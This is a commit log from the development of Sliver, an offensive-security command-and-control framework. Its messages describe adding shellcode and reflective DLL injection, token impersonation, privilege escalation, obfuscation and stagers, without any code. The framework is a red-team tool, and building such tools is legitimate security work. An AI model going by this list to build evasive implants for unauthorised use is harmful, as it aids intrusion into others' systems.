moloch-- 6128fc6db3 Merge branch 'master' of github.com:BishopFox/sliver 2020-03-17 19:44:18 -05:00
moloch-- a5ac3ad1cf key profiles based on user@lhost (cert) 2020-03-17 19:44:12 -05:00
hypnoticpattern d84691a1ef Implemet kick-player functionality and client certificate verification, 2020-03-17 16:45:00 -07:00
rkervella 74484fc983 Use []string{} instead of string in append 2020-03-17 11:36:40 +01:00
rkervella 18355e0f6c Use current environment variable to spawn the new proc. 2020-03-17 11:19:16 +01:00
rkervella deded27942 Merge env variable with current environment 2020-03-17 11:15:43 +01:00
moloch-- e39d93e122 core refactor 2020-03-15 18:45:44 -05:00
moloch-- f61dcf27a2 ported more handlers 2020-03-15 14:10:18 -05:00
moloch-- 8f56d31c1c refactored much of the 'sliver' -> 'implant' where applicable 2020-03-15 10:52:08 -05:00
moloch-- 44ccf3c873 porting job handlers 2020-03-14 20:44:04 -05:00
moloch-- bd7efe8d6f porting handlers to grpc 2020-03-14 20:07:36 -05:00
moloch-- 5d4ea96d15 improved generic rpc interface 2020-03-14 18:59:08 -05:00
moloch-- 68fec2b20a created generic handler pattern for basic commands 2020-03-14 16:47:29 -05:00
moloch-- 661f8411f2 major reorg of protobuf/ package structures 2020-03-14 12:53:32 -05:00
moloch-- 7671f53e9c major reorg of protobuf 2020-03-14 11:58:03 -05:00
moloch-- ab25780ba1 experimental grpc branch 2020-03-14 10:36:13 -05:00
Ronan Kervella 6062630df1 Merge pull request #149 from irodriguezbf/screenshotcmd
Add support for screenshot command (Windows and Linux)
2020-03-11 13:03:14 +01:00
Inaki Rodriguez 56e4e97237 - Screenshots are saved using a generated file name 2020-03-11 12:19:43 +01:00
Iñaki Rodriguez 1932226eca Merge branch 'master' into screenshotcmd 2020-03-09 05:38:18 -07:00
rkervella d19f5a1014 Update execute-assembly to match upstream project. 2020-03-09 11:53:19 +01:00
rkervella 800ae94798 Update help for sideload 2020-03-05 15:49:06 +01:00
Ronan Kervella 6a6f585942 Fix typo 2020-03-05 15:44:58 +01:00
Ronan Kervella 45b85f41d2 Enable sideloading for mac os 2020-03-05 15:39:12 +01:00
Ronan Kervella 6430fab080 Add sideload for macos 2020-03-05 15:09:37 +01:00
Ronan Kervella e0e5f7c0d2 Add macos case for shared library. 2020-03-05 14:07:08 +01:00
rkervella 219c55a395 Fix missing implementation on Darwin. 2020-03-04 14:35:43 +01:00
rkervella 7e72223a4c Add argument support for sideload on Linux. 2020-03-04 14:32:03 +01:00
rkervella 5ef0aade21 Update help message 2020-03-04 13:56:20 +01:00
rkervella 4b499b5f2a Implement sideload for Linux.
Reworked the argument passing for windows.
2020-03-04 13:37:07 +01:00
rkervella 4a41b819c8 Add missing files 2020-03-02 14:44:24 +01:00
Ronan Kervella 9bc2a3f223 Merge pull request #155 from BishopFox/preload
Add LD_PRELOAD capability
2020-03-02 14:43:23 +01:00
Ronan Kervella 312beb08bf Merge pull request #153 from h4ng3r/h4ng3r_github_actions
Add building and testing workflow for golang
2020-03-02 14:38:57 +01:00
rkervella 172887bf01 Renammed C files and added some target specific code. 2020-03-02 14:29:23 +01:00
rkervella 9693c4c212 File renamming. 2020-03-02 14:29:06 +01:00
rkervella 6202eea1fb Source file renamming and skip cross-compiler selection
when target and source platforms are the same.
2020-03-02 14:28:16 +01:00
rkervella ad29440c51 Add current os PATH to the go command PATH. 2020-03-02 14:27:37 +01:00
rkervella 05f8755bc3 Wait for process to spawn before sending response 2020-03-02 11:52:22 +01:00
rkervella e2106a4366 Merge branch 'master' into interactive 2020-03-02 11:27:35 +01:00
rkervella d18612c22a Merge netstat into master 2020-03-02 10:41:06 +01:00
rkervella 817050597d Merge branch 'master' of bishopfox.github.com:BishopFox/sliver 2020-03-02 10:03:17 +01:00
Marc beb8e5a6fc Create go.yml
Add a building and testing workflow
2020-03-02 09:35:34 +01:00
moloch-- 3ee1d31fb3 update go-assets.sh to go 1.14 2020-02-29 17:13:23 -06:00
moloch-- f1d537c2cc Merge branch 'go-1.14' 2020-02-29 17:11:05 -06:00
moloch-- 8d81712b6a upgraded to go 1.14, bump protoc version, fixed issue with srcfiles containing go.mod 2020-02-29 17:08:41 -06:00
Inaki Rodriguez 0bba0065b7 - Removed lxn/win to reduce the number of files
- Added syscalls for windows (screenshots)
2020-02-27 14:33:48 +01:00
rkervella a780f8cbbb Merge branch 'master' of bishopfox.github.com:BishopFox/sliver 2020-02-26 16:26:06 +01:00
moloch-- 8b617232a6 revert to go v.1.13.7 2020-02-26 09:19:16 -06:00
rkervella c8d2a7b9b2 Merge remote-tracking branch 'origin/netstat' 2020-02-26 15:26:59 +01:00
moloch-- 9cb3dbcdc5 upgraded to go 1.14 2020-02-25 16:03:02 -06:00
moloch-- 4d105b1c17 Merge branch 'master' into gui 2020-02-19 19:32:50 -06:00
Ronan Kervella 9e0523ad1f Fix dylib generation on OS X 2020-02-13 13:43:35 +01:00
Inaki Rodriguez 9d4c59c1f1 Added support for screenshot command (Windows and Linux) 2020-02-12 01:57:11 +01:00
moloch-- e051b28799 merged master 2020-02-07 22:14:22 -06:00
moloch-- 8d6c7e6ddf specify protobuf output file 2020-02-07 22:12:54 -06:00
rkervella 92dc158234 Remove useless comment 2020-02-07 16:22:31 +01:00
rkervella 34ec2a4680 Fix #105 2020-02-07 16:19:58 +01:00
rkervella 8d71c1c7d5 remove Shellcode symbol 2020-02-02 18:25:47 +01:00
moloch-- 7f2ddcf1a7 Fix for issue #136 2020-02-01 14:03:29 -06:00
moloch-- d1b66e1da0 fix obfuscaiton on macos 2020-02-01 11:58:35 -06:00
moloch-- 5c0a3ecb16 temp fixes for obfuscation on windows related to issues #133 #131 2020-02-01 11:46:28 -06:00
moloch-- 7b2409fd8a merged master 2020-02-01 09:38:04 -06:00
moloch-- 6629923fe1 bump go ver 2020-01-28 14:07:04 -06:00
rkervella 44f68145c6 Merge branch 'master' of bishopfox.github.com:BishopFox/sliver 2020-01-13 18:19:21 +01:00
rkervella 0a3f2a4adb Attempt to fix #144 2020-01-13 18:18:20 +01:00
rkervella f3793d9b45 Remove unused flag package 2020-01-13 18:18:04 +01:00
rkervella 5c35e074b0 Fix double session popping 2020-01-13 18:17:45 +01:00
rkervella 4820b59577 Fix regression: add back the entrypoint name for the DLL. 2020-01-13 17:48:12 +01:00
rkervella 2e675f229a Fix crash on kill. Print before deleting the ref to ActiveSliver. 2020-01-13 17:47:45 +01:00
moloch-- 8f40382f4a bumped go to version 1.13.6, added -O to wget commands to fix issue #143 2020-01-09 19:36:06 -05:00
rkervella dd9ee8105f Add print statement 2020-01-09 16:10:09 +01:00
rkervella a731f1caed DisableActiveSliver in kill command 2020-01-09 16:07:59 +01:00
rkervella 65ec9fcfaf Merge branch 'privesc' 2020-01-09 16:03:45 +01:00
rkervella 498d20bdd9 Only call DisableActiveSliver when a sliver is active. 2020-01-09 15:04:09 +01:00
rkervella f2d38b0c9b Reworked session management. Add flag to mass kill sessions. Add terminate command to kill a remote process by its PID. 2020-01-09 14:46:38 +01:00
rkervella eddd5bcce8 Reworked impersonnate. Add runas and rev2self commands.
Now `impersonate` will keep the token in memory to be used by other
Sliver commands, such as `shell` or `execute`.
2020-01-09 12:27:30 +01:00
rkervella 3162b94684 Merge branch 'socks5' into privesc 2020-01-09 10:52:29 +01:00
rkervella 89d29295fc new impersonate 2020-01-09 10:52:04 +01:00
rkervella 41dc104c06 Remove unused var 2020-01-07 15:40:54 +01:00
rkervella afa86a1a50 fix trailing chars 2020-01-07 15:35:56 +01:00
rkervella 15c2f3c6ea Merge branch 'socks5' into interactive 2020-01-07 11:34:54 +01:00
rkervella 6fdffa8ff9 Properly implement io.Reader and io.Writer on tunnels 2020-01-06 19:34:22 +01:00
rkervella d60640a624 add flag check 2020-01-06 14:46:30 +01:00
rkervella dca4fd39ec Add interactive flag to execute-shellcode 2020-01-06 14:03:06 +01:00
rkervella 44338c4dcb Fix kill command. 2020-01-06 11:01:16 +01:00
rkervella 355fab1afe First work on implementing net.Conn for tunnels 2020-01-06 10:49:39 +01:00
rkervella 4e1435b4bb Sanitize hostname before using it to create arbitrary files
on the operator's OS.
2019-12-27 20:58:23 +01:00
rkervella a94207ebb9 Disable refresh on i386 2019-12-27 20:57:28 +01:00
rkervella 575dc461de Fix #137 2019-12-19 11:22:09 +01:00
rkervella 015f39a4d8 Remove unnecessary args to RunSliver 2019-11-27 09:12:13 +01:00
rkervella e10a274e21 Add missing files, fix #134 2019-11-16 08:43:31 +01:00
rkervella 940e6e4804 Fix sideload 2019-11-15 14:19:04 +01:00
rkervella ab77949e3e Merge branch 'evasion' into refactor 2019-11-15 14:00:46 +01:00
rkervella c69b4c476f refactor refresh 2019-11-15 13:59:08 +01:00
rkervella c7c62e793b Refactor spawndll and execute-assembly 2019-11-15 13:52:54 +01:00
rkervella 7f03957cb0 Merge branch 'master' into evasion 2019-11-15 09:46:41 +01:00
rkervella ea050533fd Refactored ImpersonateLoggedOnUser 2019-11-14 12:54:20 +01:00
rkervella 1e20e235eb Add ImpersonateLoggedOnUser 2019-11-14 12:53:15 +01:00
rkervella bf760dd9f5 Merge branch 'master' into evasion 2019-11-14 12:51:37 +01:00
rkervella acbf4b6162 No need to specify entrypoint since we call it in DllMain 2019-11-14 12:23:17 +01:00
rkervella 5cb2f5dbd9 Add support for regsvr32 2019-11-13 19:08:17 +01:00
rkervella 15da99c98f Add exports to support regsvr32 2019-11-13 19:06:45 +01:00
rkervella 033fb6a9fa Rename stuff 2019-11-13 18:42:11 +01:00
rkervella 553d510a76 Exclude C files from rendering process 2019-11-13 18:26:13 +01:00
rkervella 457890d381 Add DllMain export to Sliver DLL 2019-11-13 18:09:17 +01:00
rkervella dd82e196a2 execute-shellcode can now inject into remote processes 2019-11-13 17:22:46 +01:00
rkervella b4f1b2614f go mod updates 2019-11-13 13:12:07 +01:00
rkervella b62c059efa Fix HideWindow 2019-11-13 13:08:21 +01:00
rkervella 0b7af9733b obfuscation broken 2019-11-13 11:07:21 +01:00
rkervella 0c73b697db Fix test: MiniDumpWriteDump refactor works 2019-11-13 10:16:52 +01:00
rkervella 6a870fdda2 MiniDumpWriteDump fails 2019-11-13 09:47:26 +01:00
rkervella b5aad83210 Refactor Windows syscalls in the syscalls package 2019-11-12 20:15:21 +01:00
rkervella 5221337e45 Refactor priv to use x/sys/windows 2019-11-12 18:29:39 +01:00
moloch-- cc50627d08 updated electron to v7.1.0 2019-11-05 18:06:48 -06:00
moloch-- fbf793c15e merged stash 2019-11-05 18:04:39 -06:00
moloch-- d6a5e59578 merged master 2019-11-05 18:03:39 -06:00
moloch-- 013e56b6f4 Fix issue #132 2019-11-03 12:49:15 -06:00
moloch-- c2876a95fd Merge branch 'master' of github.com:BishopFox/sliver 2019-10-31 17:33:59 -05:00
moloch-- c4252e0147 Fix issue #130 2019-10-31 17:33:52 -05:00
rkervella ef949916b8 Add spawndll: inject a Reflective DLL inside a remote process 2019-10-29 11:05:23 +01:00
moloch-- 62e0c58d9e added a +add config button 2019-10-25 15:09:52 -05:00
moloch-- 5a3c1b0400 updated to electron v7.0.0 and angular 8.3.14 2019-10-24 13:28:21 -05:00
moloch-- 54c5e9c322 updated to electron v7.0.0 2019-10-24 13:14:58 -05:00
rkervella a0361a09df Sideload command 2019-10-24 17:29:11 +02:00
moloch-- d80c8ecd81 merged master 2019-10-23 12:35:23 -05:00
moloch-- 544f6fda1e wip 2019-10-23 11:28:18 -05:00
rkervella 9b0aeb2ec2 Merge branch 'master' of bishopfox.github.com:BishopFox/sliver 2019-10-23 18:27:44 +02:00
rkervella 830adc5e8d Remove local config 2019-10-23 18:27:12 +02:00
rkervella 279f517438 Fix #84 : use go mod and get rid of dep 2019-10-23 18:26:16 +02:00
moloch-- 23cccdcf5a merged master 2019-10-18 15:00:09 -05:00
moloch-- 6578763492 Bumped to go v1.13.3 2019-10-18 13:35:44 -05:00
rkervella 4e98bb6a81 Add a --shell-path argument to fix #120. 2019-10-17 14:40:19 +02:00
rkervella 9e468ab8a3 Add --rwx-pages options to execute-shellcode to inject shellcodes that
require RWX pages permissions. Defaults to `false`.
2019-10-17 11:54:57 +02:00
rkervella 09a40564bf GetCurrentProcess is back with 2 return values 2019-10-16 16:33:58 +02:00
Ronan Kervella c09bddf520 Merge pull request #126 from C-Sto/help_typo
fix typo
2019-10-02 09:10:52 +02:00
C-Sto 7e1b60e616 fix typo 2019-10-02 10:39:49 +08:00
rkervella d7c320f83f Bump to go 1.13 and adjust trimpath 2019-09-25 16:21:51 +02:00
rkervella af5398ffcc Update GetCurrentVersion() to match the changes in
golang.org/x/sys/windows
2019-09-25 16:01:53 +02:00
moloch-- ebe4d7da3a bumped go version to 1.13 2019-09-07 13:37:26 -05:00
rkervella 4a6a8bb43a Cleanup even when shellExecuteW fails 2019-08-28 13:54:12 -07:00
Ronan Kervella b71d851c97 Merge pull request #117 from djhohnstein/master
Wait for Execute-Assembly to Finish
2019-08-08 08:42:16 +02:00
Ronan Kervella 8c2d74b15a Merge branch 'master' into master 2019-08-08 08:42:07 +02:00
Dwight Hohnstein 9e1db7b359 fixed imports 2019-08-07 14:58:10 -07:00
Dwight Hohnstein 852d8eabfc changes per PR 177 2019-08-07 14:55:46 -07:00
Dwight Hohnstein 93d44d7073 fixed imports 2019-08-06 16:13:33 -07:00
Dwight Hohnstein a4a061a827 fixed execute assembly timeout and waits for thread to finish executing 2019-08-06 16:09:54 -07:00
moloch 4abafba666 SliverScript 'hello world' 2019-08-04 19:09:59 -07:00
moloch 6e91aa3eef Added sandboxed iframe to sliver-script execution model 2019-08-03 23:12:41 -07:00
moloch 672d804367 Basic pattern for sliver-scripts implemented 2019-08-03 20:04:15 -07:00
moloch d88e8c9ea7 disabled navigation, implemented null origin for plugin scripts 2019-08-02 19:49:09 -05:00
Joe 292da4ea78 Update README.md 2019-08-02 16:24:10 -05:00
moloch 97adae4511 Updated to Electron v6.0.0 2019-07-31 16:13:28 -05:00
moloch 5efbd5172a made arch a var in go-assets.sh 2019-07-30 22:37:40 -05:00
Ronan Kervella e656302f93 Add GPLv3 2019-07-30 10:40:37 +02:00
rkervella aa60689251 Ensure all short flags are differents from one another 2019-07-26 12:14:54 +02:00
moloch eba6c75ef5 minor tweaks to services and settings component 2019-07-25 21:12:04 -05:00
moloch 23a9a447d4 Merge branch 'master' into gui 2019-07-24 21:07:43 -05:00
moloch 3f639260d8 removed logging in protocol handler 2019-07-24 20:51:06 -05:00
moloch 076f475706 Implemented canaries component 2019-07-24 20:15:50 -05:00
moloch e21a576413 More cleanup of core code 2019-07-24 19:13:07 -05:00
moloch d0a63ba8b3 Removed redundent promises 2019-07-24 08:17:26 -05:00
moloch 6251cbfcd2 Improvements to file-browser, swapped out mat-grid-list for css3 grid in most places 2019-07-23 22:05:26 -05:00
moloch cd851a4f27 Improved imports 2019-07-22 22:01:05 -05:00
moloch 52e30b3b21 Added a right click menu to the file browser 2019-07-22 21:14:11 -05:00
moloch 332f7aff1d Added session info component 2019-07-22 19:43:55 -05:00
moloch 05e9d3605d Improvements on terminal ui, still a few bugs to work out 2019-07-21 19:35:07 -05:00
moloch 4c7eaeef41 Updated ts compiler target to es6 2019-07-21 11:17:06 -05:00
moloch d4fc2e78f9 Updated depends 2019-07-21 10:16:39 -05:00
moloch 4f59754862 Implemented basic app protocol 2019-07-21 10:13:59 -05:00
Joe c5d61528b5 Update README.md 2019-07-21 06:52:42 -05:00
Joe d282e9ba4d Update README.md 2019-07-21 06:50:56 -05:00
moloch 19ebd4af0d Improvements to file-browser 2019-07-20 21:34:10 -05:00
moloch 90ecf10370 Basic file browser 2019-07-20 18:11:09 -05:00
moloch 5cf522afaa Added 'domains' to Job pb 2019-07-20 17:05:06 -05:00
moloch 61b9089d52 Implemented client_saveFile and regenerate UI 2019-07-20 13:23:20 -05:00
moloch 8220979355 Basic interact/ps working 2019-07-19 23:11:03 -05:00
moloch 6a4688c28d Adding terminal/shell component(s) 2019-07-17 20:48:25 -05:00
rkervella 949433405d Remove buildid from shared libs / shellcode 2019-07-17 15:24:42 +02:00
moloch a97c5cd252 Added ipc client_saveFile 2019-07-14 19:04:34 -05:00
moloch 42bde5dc4e Created history component 2019-07-14 12:34:51 -05:00
moloch d6d9a985b5 Improvements to new-implant component 2019-07-13 18:50:23 -05:00
moloch 6d13a83d69 Working on new-implant form logic 2019-07-13 13:14:55 -05:00
moloch 1952ca2c26 updated ng deps 2019-07-13 12:00:12 -05:00
rkervella 868f1f88dd Place the comment where it should be 2019-07-12 15:11:58 +02:00
rkervella 73278d5263 Removed IsPrivileged() from version 2019-07-12 15:09:10 +02:00
rkervella 9b06ef79f5 Refactored to use x/sys/windows.RtlGetVersion and add some more info
(thanks @capnspacehook)
2019-07-12 15:07:53 +02:00
moloch 09a450c165 removed old translation service 2019-07-11 14:43:54 -05:00
moloch 59b9ade476 Merge branch 'master' into gui 2019-07-11 10:23:36 -05:00
moloch 7455f04c26 Added lic to more files 2019-07-11 10:23:17 -05:00
rkervella 4fa21e0c7a Set proper err var 2019-07-11 12:27:27 +02:00
rkervella dec3ec1e15 Restore RefreshPe calls 2019-07-11 12:25:53 +02:00
rkervella 22ed9fed06 Fix execute-assembly missing DLL and refactoring 2019-07-11 12:20:41 +02:00
rkervella a88f03f2cb Fix import location 2019-07-11 11:24:09 +02:00
moloch e498889eb8 WIP 2019-07-10 15:54:42 -05:00
moloch fd937b30ab Merge branch 'master' into gui 2019-07-09 08:49:01 -05:00
rkervella ea97d33139 Closed #114 2019-07-09 13:24:14 +02:00
moloch 78809522ff Improved Job ui components, added native os notifications for certain events 2019-07-08 22:06:25 -05:00
moloch f8dab5ad5d Merge branch 'master' into gui 2019-07-08 10:32:02 -05:00
moloch cd57ee215c Centered initial window 2019-07-08 10:31:41 -05:00
rkervella fb963c14c8 Apply RWX perms for msf payloads 2019-07-08 17:27:09 +02:00
rkervella 371c97eb13 Only add Sliver to the hive on registration 2019-07-08 11:44:48 +02:00
rkervella e7ab6a7888 Merge branch 'master' of bishopfox.github.com:bishopfox/sliver 2019-07-08 10:30:12 +02:00
rkervella 8f2441bca2 Close #106 2019-07-08 10:29:51 +02:00
rkervella cd7280a883 Close 106 2019-07-08 10:24:38 +02:00
moloch e7e457570c Added more icons 2019-07-07 17:57:15 -05:00
moloch 3bce4d512d Made primary window borderless 2019-07-07 17:24:02 -05:00
moloch b2df35438a SnackBar notifications 2019-07-07 16:50:01 -05:00
moloch da4bfa9eea Implemented server-to-client push events 2019-07-06 23:12:02 -05:00
moloch 398f0627e5 Added error handling to select-server component 2019-07-06 18:44:55 -05:00
rkervella a92e22f189 Close #111 2019-07-05 14:18:59 +02:00
moloch b41f537193 Started working on generate new implant from ui flow 2019-07-04 19:04:34 -05:00
moloch 3b884484e1 Fixed sorting, added jobs service/component, and base protobuf service 2019-07-04 11:23:42 -05:00
moloch 859b2f954d Simplified IPC APIs 2019-07-04 08:26:34 -05:00
moloch 8f577f2b65 Merge branch 'master' into gui 2019-07-04 07:18:29 -05:00
rkervella 45ec18a8a6 Add execute command to start processes without using 'shell' 2019-07-04 12:54:10 +02:00
rkervella e9d9347a86 Add helpgroup 2019-07-04 11:53:25 +02:00
rkervella 85a42ad400 Ensure only the current session is highlighted 2019-07-04 11:50:05 +02:00
moloch c05812439f Added more ui modules, basic session list is working 2019-07-03 23:38:34 -05:00
moloch 427a6b60d1 Toggle top menu on connection state change 2019-07-03 19:29:59 -05:00
moloch c8e77c4d35 Improved naming scheme of IPC-to-RPC methods 2019-07-03 19:13:10 -05:00
moloch c4e07fc25b Fix animation alignment issue 2019-07-03 16:35:21 -05:00
moloch eb90d4902b Refactored select-server component, and flow 2019-07-03 16:21:29 -05:00
moloch 69f37cacae Merge branch 'master' into gui 2019-07-03 13:56:05 -05:00
rkervella 70720c21b8 Color sliver process 2019-07-03 17:58:26 +02:00
rkervella f17564d6c4 Merge branch 'master' into netstat 2019-07-03 17:07:17 +02:00
rkervella 706037d6f6 fixed license 2019-07-03 17:05:54 +02:00
rkervella f2726f8300 Add netstat command 2019-07-03 17:00:33 +02:00
rkervella 23e798776d Actually commit the files 2019-07-03 14:15:06 +02:00
rkervella 0faae28758 Basic OS version support (missing darwin) 2019-07-03 14:13:36 +02:00
rkervella 3d5ec1842a Close #109 2019-07-03 11:58:48 +02:00
moloch 9fdf16313e added modal server select 2019-07-02 22:40:36 -05:00
moloch 9205fa26f0 added some basic components, playing with the best ui layout 2019-07-02 19:52:26 -05:00
moloch b2d5b209ad Added contextIsolation, webSecurity, and allowRunningInsecureContent settings 2019-07-01 21:40:57 -05:00
moloch ed7eaf76c1 Enabled sandbox/force nodeIntegrationWorker to false 2019-07-01 21:26:31 -05:00
moloch 7bb7b99090 Sandbox code can send round trip IPC to list configs 2019-07-01 21:00:05 -05:00
moloch 499b8535d0 Outlined ipc-to-rpc 2019-06-30 22:02:44 -05:00
moloch 543cfcf5b2 Moved rpc into a ts module 2019-06-29 14:25:56 -05:00
moloch 4a8d7ff1eb Simplified internal code for the RPCClient and fixed the weird races/duplicate events 2019-06-29 14:07:09 -05:00
moloch a4beaa5f72 WIP on some race conditions when sending/recv'ing multiple messages 2019-06-28 17:35:43 -05:00
moloch f69c9a3b8d Fixed length prefix decode issues 2019-06-28 07:46:36 -05:00
moloch de628e2ad8 Fixed endian length issue 2019-06-27 22:38:34 -05:00
moloch c6e70ce3d7 Added gplv3 2019-06-27 22:33:13 -05:00
moloch 4c214b7855 TypeScript RPC impl almost works, weird socket.write blocking issue rn 2019-06-27 22:31:00 -05:00
moloch 6117cdbebc Untested version of the pb encoding/length prefix encoding binary protocol 2019-06-27 21:28:07 -05:00
moloch eb3fe44538 MTLS connection is working 2019-06-27 20:29:30 -05:00
moloch b935bbf25f WIP on the TypeScript RPC impl 2019-06-27 20:14:49 -05:00
moloch 23f01a1c92 Updated ng/core 2019-06-27 07:52:41 -05:00
moloch c0c99d516d Added material 2019-06-27 07:52:04 -05:00
moloch 2464e5a684 Ported some of the protobuf to ts 2019-06-26 17:36:39 -05:00
moloch 547ba1d2b3 Added hello world gui 2019-06-26 10:59:21 -05:00
moloch 9f9b3d3b4a added api files for darwin 2019-06-26 10:58:48 -05:00
moloch 457409f2b1 bump version number 2019-06-24 19:05:05 -05:00
moloch d4eda211d7 Added an ifconfig command 2019-06-24 18:52:31 -05:00
moloch d025b1a3b3 Makefile now checks for commands 2019-06-24 10:48:12 -05:00
moloch f0f80c4932 bumped protobuf version 2019-06-24 08:33:54 -05:00
moloch a69cbd53ec :merge branch 'master' of github.com:BishopFox/sliver 2019-06-22 17:38:15 -05:00
moloch cd4670efc5 Bumped internal go version to 1.12.6, and added nightly binary installer for msf fix issue #101 2019-06-22 17:38:09 -05:00
rkervella bdeb70b492 Removed unused flag package 2019-06-21 15:48:42 +02:00
Ronan Kervella bf71e8f8ef Fix typo 2019-06-21 08:49:44 +02:00
moloch eaf9b8b621 Merge branch 'master' of github.com:BishopFox/sliver 2019-06-20 19:37:34 -05:00
moloch 58d3062d44 Fixed incorrect log path when using env var issue #103 2019-06-20 19:37:29 -05:00
Joe d96bfc2b09 Update README.md 2019-06-17 11:49:14 -05:00
Joe 038568a651 Merge pull request #99 from realytcracker/patch-1
correcting typographical error
2019-06-17 08:53:13 -04:00
ytcracker 23e1c24e4e correcting typographical error 2019-06-17 05:40:42 -07:00
Joe 628ddf2a3c Update README.md 2019-06-16 21:25:54 -04:00
Joe 3adbf03ecd Update README.md 2019-06-16 21:22:41 -04:00
Joe 21eb942bad Update README.md 2019-06-16 16:57:38 -04:00
rkervella 23cc4206ac Fix helpgroup 2019-06-13 19:01:48 -04:00
rkervella c0f77f2ba3 Merge branch 'master' of bishopfox.github.com:bishopfox/sliver 2019-06-13 18:20:44 -04:00
rkervella da5021bc4a Revert to self in case impersonnate fails 2019-06-13 18:20:39 -04:00
moloch ef3f1e7ffd Added SRDI License 2019-06-13 17:55:49 -04:00
moloch 28ded0727e rename rand to insecureRand in codename 2019-06-13 17:46:34 -04:00
moloch 81c2f41166 use UnixNano time for nouns in codename 2019-06-13 17:45:33 -04:00
moloch 9ce42c42f4 replace spaces with '-' in codenames, fix issue #97 2019-06-13 17:44:07 -04:00
lesnuages 13fd3fad0e Re-adding the hosting DLL 2019-06-13 17:20:27 -04:00
lesnuages 87d057a09c Adapt file structure 2019-06-13 17:16:22 -04:00
Ronan Kervella 4dfa548165 Add license for HostingDLLx64.dll 2019-06-13 17:14:22 -04:00
moloch c5371e5869 Updated CONTRIBUTING.md 2019-06-13 17:06:31 -04:00
moloch 4c5fe5cacb Merge branch 'master' of github.com:BishopFox/sliver 2019-06-13 16:52:29 -04:00
moloch da916f9960 Fixed bug where symbol obfuscation fails if there's no go bin on PATH 2019-06-13 16:52:23 -04:00
lesnuages 46bea5ae76 Merge branch 'master' of bishopfox.github.com:bishopfox/sliver 2019-06-13 16:22:23 -04:00
lesnuages effe5d0c34 Add missing HostingProcess config 2019-06-13 16:21:44 -04:00
lesnuages f7b516f84a Disable symbol obfuscation for shellcodes 2019-06-13 16:12:47 -04:00
lesnuages c9fc483412 Make process name for getsystem configurable 2019-06-13 16:11:59 -04:00
moloch 1515795be2 Tighten file permissions on saved configs 2019-06-13 15:48:34 -04:00
lesnuages a52d941dfd Merge branch 'master' of bishopfox.github.com:bishopfox/sliver 2019-06-13 15:16:13 -04:00
lesnuages 5d147a9a24 Improve generate-egg docs 2019-06-13 15:16:07 -04:00
moloch a2e54ee23d Tighten file permissions on saved configs 2019-06-13 15:09:26 -04:00
lesnuages 3b27da2dfe Increase timeout to take obfuscation into account 2019-06-13 15:07:03 -04:00
moloch 5370fbc98e Merge branch 'master' of github.com:BishopFox/sliver 2019-06-13 14:42:50 -04:00
moloch e60e9c7726 Updated build.py with success message, added 32/64-bit CC vars 2019-06-13 14:42:44 -04:00
lesnuages 8a38d09462 Let's stop lying 2019-06-13 14:37:41 -04:00
moloch 2bec7c86ea Fixed build tag / updated CONTRIB 2019-06-13 13:53:58 -04:00
moloch f05fc4513e Updated README.md 2019-06-12 22:55:31 -04:00
moloch f0121caea6 Updated vendor/ 2019-06-12 07:57:25 -04:00
Joe b30a19edfd Merge pull request #96 from BishopFox/vendor
Updated vendor/
2019-06-12 07:54:55 -04:00
moloch 5f6dc3c560 Updated vendor/ 2019-06-12 07:52:22 -04:00
Ronan Kervella 1d0f566035 Update README.md
Fix some typos
2019-06-12 10:22:01 +02:00
moloch f9b38067cd Updated README.md 2019-06-11 22:17:44 -04:00
moloch 36fc34fe17 Updated SECURITY.md 2019-06-11 21:22:15 -04:00
moloch 467c767f4c Updated README.md 2019-06-11 20:58:03 -04:00
moloch c37528de09 Updated README.md 2019-06-11 20:56:40 -04:00
moloch f3c7c29612 fix crash on empty profiles 2019-06-11 20:50:10 -04:00
moloch 3589c77844 Merge branch 'master' of github.com:BishopFox/sliver 2019-06-11 19:52:40 -04:00
moloch 14dff456a2 Added GPLv3 license 2019-06-11 19:52:21 -04:00
lesnuages 471d2e2bb8 Hosting process configurable for execute-assembly 2019-06-09 11:18:12 +02:00
lesnuages d121a739cd Fix #94 - No more RWX on VirtualAlloc / VirtualAllocEx 2019-06-09 10:55:06 +02:00
lesnuages 5c04b9cf79 Apply proper permissions on memory pages for shellcode injection 2019-06-09 10:19:19 +02:00
moloch 5022e0ec25 Merge branch 'gobfuscate' into infrastructure 2019-06-08 22:03:06 -05:00
moloch 3efaf9ef01 added -builid= and -trimpath to generate 2019-06-08 09:43:26 -05:00
moloch 70189d0de0 adding automated infrastructure code 2019-06-06 22:12:51 -05:00
lesnuages 725ad24777 TCP staging ok 2019-06-05 17:22:33 +02:00
lesnuages 2ad4d0b7e0 Merge branch 'master' into stagers 2019-06-05 11:51:19 +02:00
Joe b70daf3065 Merge pull request #90 from BishopFox/gains-keyword
Dan's first commit.
2019-06-03 13:21:03 -05:00
Dan Petro b6df4840a0 Dan's first commit.
- Added a random tagline when you start up
2019-06-03 10:52:59 -07:00
moloch 35cff7c4db Bump minor version 2019-06-03 10:23:05 -05:00
moloch 1071117458 poc dynamic str obfuscation selection 2019-05-31 15:28:53 -06:00
moloch 99b77780cb refactored string obfuscator to be generic 2019-05-30 19:20:35 -05:00
moloch 885c22cd79 Added more apt1 phrases 2019-05-29 07:55:34 -05:00
moloch f3797501f0 Added apt char sets 2019-05-28 20:51:59 -05:00
lesnuages 63de9a5329 Merge master into stagers 2019-05-26 10:37:30 +02:00
lesnuages 655fee159e Fix missing flag and HTTP resource path 2019-05-10 15:20:19 +02:00
lesnuages e9c294239e Fix merge errors 2019-05-10 14:45:29 +02:00
lesnuages 21375a5eab Merge branch 'master' into stagers 2019-05-10 14:41:49 +02:00
rkervella 2ceb9845da Add some comments 2019-05-03 14:34:36 +02:00
rkervella af4d8ee1b4 Closed #69 2019-05-03 13:16:15 +02:00
rkervella 8fe5ed28c8 Blacklist null bytes 2019-05-02 13:43:57 +02:00
rkervella 0e246f3f2a Merge branch 'master' into stagers 2019-05-02 10:41:41 +02:00
rkervella c84e70dc24 Merge branch 'master' of bishopfox.github.com:BishopFox/sliver into stagers 2019-04-29 16:17:07 +02:00
rkervella 949ed29284 Clear PE headers by default 2019-04-29 15:23:48 +02:00
rkervella 6621ceafd0 Merge remote-tracking branch 'origin' into stagers 2019-04-29 09:18:04 +02:00
rkervella e9725c344d TCP stager working 2019-04-29 09:17:45 +02:00
rkervella cde92b46f5 Fix options parsing 2019-04-26 12:45:05 +02:00
rkervella 0f5a4aaa76 Fix URL parsing, meterpreter arch and flags 2019-04-26 12:41:44 +02:00
rkervella b575386ed2 staging process ready to test 2019-04-26 12:17:22 +02:00
9967 changed files with 5525088 additions and 893346 deletions

No files matched your search

+21 -4
View File
@@ -1,4 +1,21 @@
assets/*.zip
